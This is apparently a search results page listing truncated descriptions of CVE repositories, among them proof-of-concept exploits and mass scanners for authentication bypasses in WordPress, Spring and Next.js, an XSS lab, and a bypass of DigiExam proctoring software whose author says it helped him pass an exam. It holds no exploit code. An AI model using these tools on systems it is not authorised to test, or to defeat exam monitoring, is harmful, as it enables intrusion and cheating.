1433337 matches found
CVE-2021-25162
CVE-2021-25162 CVE-2021-25162...
wordpress-really-simple-security-authn-bypass-exploit
wordpress-really-simple-security-authn-bypass-exploit Este es un programa en Python3 que explota la vulnerabilidad de omisión de autenticación en Really Simple Security 9.1.2 CVE-2024-10924. DESCARGO DE RESPONSABILIDAD Esta herramienta está destinada a ingenieros de seguridad y personal de appsec...
CVE-2024-38821-POC
CVE-2024-38821：概念验证（PoC）：Spring Framework 中的认证绕过 这是针对 CVE-2024-38821 漏洞的概念验证 执行步骤 1. 构建 Docker 镜像（基于 Spring Framework 6.1.13 的 Spring Boot 3.3.4） root@kitploit: cd vuln docker build -t cve-2024-38821-poc . 2. 运行容器并将主机的端口 8080 暴露给容器 root@kitploit: docker run -d -p 8080:8080 --name cve-2024-38821-p...
CVE-2025-55423-analysis-and-reproduction
Este repositorio no tiene un README...
MSMQ-Vulnerability
Laboratorio de Seguridad MSMQ Este repositorio documenta una revisión controlada de laboratorio de la exposición de seguridad de Microsoft Message Queuing, centrada en la validación defensiva, la evidencia de detección y la planificación de remediación. El proyecto está planteado como un artefact...
CVE-2022-21839-
CVE-2022-21839- 该脚本实际上有一个根据 IP 地址进行检查的选项，并会告知该弱点是否存在...
CVE-2025-55182-Next.js-RCE
🔍 Next.js 安全测试工具 专为 Next.js 应用设计的专业安全评估工具 ⚠️ 免责声明 本工具仅供授权安全测试和研究用途。 ✅ 仅用于你拥有或获得明确测试许可的系统 ✅ 用于授权范围内的漏洞赏金计划 ✅ 用于安全研究人员和渗透测试人员 ❌ 切勿对未授权的系统使用 ❌ 不得用于任何恶意或非法活动 使用本软件即表示您同意遵守所有适用的法律法规。 📖 概述 该工具为安全专业人员提供了一个图形界面，用于测试 Next.js 应用是否受 CVE-2025-55182 影响。帮助企业识别其 React Server Components RSC 实现中的潜在安全问题。 什么是...
CVE-2023-30212
CVE-2023-30212 Docker环境及利用CVE-2023-30212。这是一个影响OURPHP版本小于等于7.2.0的安全漏洞，该漏洞允许进行跨站脚本（XSS）攻击。...
Detecting-CVE-2018-15708-Vulnerabilities
检测CVE-2018-15708漏洞...
CVE-2023-20860
Para estudiar CVE-2023-20860: Bypass de seguridad con patrón de comodín doble sin prefijo Spring Framework 6.0.7 y 5.3.26 corrigen cve-2023-20860 y cve-2023-20861...
CVE-2023-33668
CVE-2023-33668 摘要 DigiExam 是一款（监控 ）考试与监考软件。该软件安装在学校（或学生）的计算机上。当学生加入考试时，DigiExam 将：确保未在虚拟机中运行，终止所有应用程序，全屏显示自身，并阻止用户离开 DigiExam 窗口。 已发现其安全检测机制薄弱，只需替换文件系统中用户拥有的一个文件即可轻松绕过。已确认在 DigiExam v14.0.2 上有效，此后未再测试（我通过了考试 :）。 漏洞：DigiExam（一款 Electron 应用）将虚拟机检测（以及大部分安全功能）"外包"给一个名为 dx-sec 的原生模块。由于缺少对 dx-sec...
ingress-nginx
Retiro de Ingress NGINX En retiro Lo que necesitas saber sobre el retiro de Ingress NGINX: El mantenimiento de mejor esfuerzo continuará hasta marzo de 2026. Después, no habrá más versiones, ni correcciones de errores, ni actualizaciones para resolver vulnerabilidades de seguridad que puedan...
CVE-2025-55182
Next.js CVE-2025-55182 – 自动扫描器（Python） 此仓库包含一个完全自动化的 Python PoC 扫描器 ，用于CVE-2025-55182 ，这是一个影响 Next.js 16.0.6 的安全漏洞。该工具允许安全研究人员和漏洞赏金猎人通过简单地提供 URL 列表来大规模测试多个目标。 🚀 功能特性 100% Python 实现 专门针对 Next.js 16.0.6（CVE-2025-55182） 工作 从 urls.txt 读取目标 发送自动化的利用请求 显示每个 URL 的完整响应（有助于调试和手动验证） 清晰简单的代码结构 包含演示视频演练...
CVE-2025-29927-test
CVE-2025-29927 验证应用 在第51届 面向初学者的安全学习会上介绍了该漏洞。 演示资料见此处。 使用方法 请通过以下任一方式访问应用。详细使用方法请参见应用首页。 方法1. 使用容器尝试（需要Docker） 我们提供了容器镜像，请pull并运行。 root@kitploit: docker run -p 3000:3000 my-container.sakuracr.jp/cve-2025-29927-test:1.1 也可以克隆本仓库并构建容器。 root@kitploit: git clone...
CVE-2018-17552
CVE-2018-17552 在此查看文档 https://docs.google.com/document/d/1Enu58910099gFJ24AGkOtnJoQgtAibm2/edit?usp=sharing&ouid=116617095858459545855&rtpof=true&sd=true...
CVE-2014-6271
CS4238 CS4238 Prácticas de Seguridad Informática...
CVE-2025-68921
🎮 CVE-2025-68921 - 立即保护您的游戏笔记本电脑 🚀 快速开始 欢迎使用 CVE-2025-68921。此应用程序可帮助保护您的游戏笔记本电脑免受影响数百万设备的漏洞攻击。请按照以下步骤下载并运行该软件。 🔗 立即下载 💾 系统要求 为确保 CVE-2025-68921 流畅运行，请确保您的游戏笔记本电脑满足以下要求： 操作系统： Windows 10 或更高版本 处理器： Intel 或 AMD，主频至少 2 GHz 内存： 至少 4 GB 磁盘空间： 至少 200 MB 可用 网络连接： 更新需要 📥 下载与安装 要开始使用，请访问发布页面下载最新版本的...